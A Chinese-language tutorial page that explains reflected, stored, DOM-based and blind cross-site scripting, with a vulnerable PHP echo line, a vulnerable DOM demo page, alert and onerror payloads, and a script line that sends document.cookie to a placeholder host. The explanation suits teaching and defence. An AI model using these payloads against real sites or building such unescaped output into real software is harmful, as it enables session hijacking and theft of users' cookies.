hello, $_GET['user']
";?> ,那么在访问时设置 /?user=_xssdey">
赞
踩
反射型XSS是比较常见和广泛的一类,举例来说,当一个网站的代码中包含类似下面的语句:<?php echo "<p>hello, $_GET['user']</p>";?>
,那么在访问时设置 /?user=</p><script>alert("hack")</script><p>
,则可执行预设好的JavaScript代码。
反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,通常在URL中构造,将恶意链接发送给目标用户。当用户访问该链接时候,会向服务器发起一个GET请求来提交带有恶意代码的链接。造成反弹型XSS ,主要是GET类型且受到XSS Auditor、NoScript等防御手段的影响较大。
储存型XSS相比反射型来说危害较大,此类xss不需要用户点击特定的url就能执行跨站脚本,攻击者事先将恶意JavaScript代码上传或存储漏洞服务器中,把攻击载荷存入服务器中,造成持久化的攻击。只要受害者浏览包括含此恶意的代码的页面就会执行恶意代码。常见的就是在博客留言板、反馈投诉、论坛评论、将恶意代码和正文都存入服务器的数据库。每次访问都会触发恶意代码。
存储型和反射型相比,只是多了输入存储、输出取出的过程。
简单点说: 反射型是:输入–输出;
存储型是:输入–进入数据库*–取出数据库–输出。 这样一来,大家应该注意到以下差别:
反射型是:绝大部分情况下,输入在哪里,输出就在哪里。
存储型是:输入在 A 处进入数据库, 而输出则可能出现在其它任何用到数据的地方。
反射型是:输入大部分位于地址栏或来自 DOM 的某些属性,也会偶尔有数据在请求中(POST 类型)
存储型是:输入大部分来自 POST/GET 请求,常见于一些保存操作中。
反射性的xss通俗的来说就是你构造好的xss,发给受害者进行点击从而发起攻击
DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的。不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。
DOM型是特殊的反射型XSS
在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。
<script>var img=document.createElement("img");img.src="http://xxxx/a?"+escape(document.cookie);</script>
例一
<head\> <title\>DOM Based XSS Demo</title\> <script\> function xsstest() { var str \= document.getElementById("input").value; document.getElementById("output").innerHTML \= "<img src='"+str+"'></img>"; } </script\> </head\> <body\> <div id\="output"\></div\> <input type\="text" id\="input" size\=50 value\="" /> <input type\="button" value\="submit" onclick\="xsstest()" /> </body\> </html\>
输入 x' onerror='javascript:alert(/xss/)
即可触发。
例二
如图,我们在URL中传入参数的值,然后客户端页面通过js脚本利用DOM的方法获得URL中参数的值,再通过DOM方法赋值给选择列表,该过程没有经过后端,完全是在前端完成的。所以,我们就可以在我们输入的参数上做手脚了。
Blind XSS是储存型XSS的一种,它保存在某些存储中,当一个“受害者”访问这个页面时执行,并且在文档对象模型(DOM)中呈现payload。它被称为Blind的原因是因为它通常发生在通常不暴露给用户的功能上。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。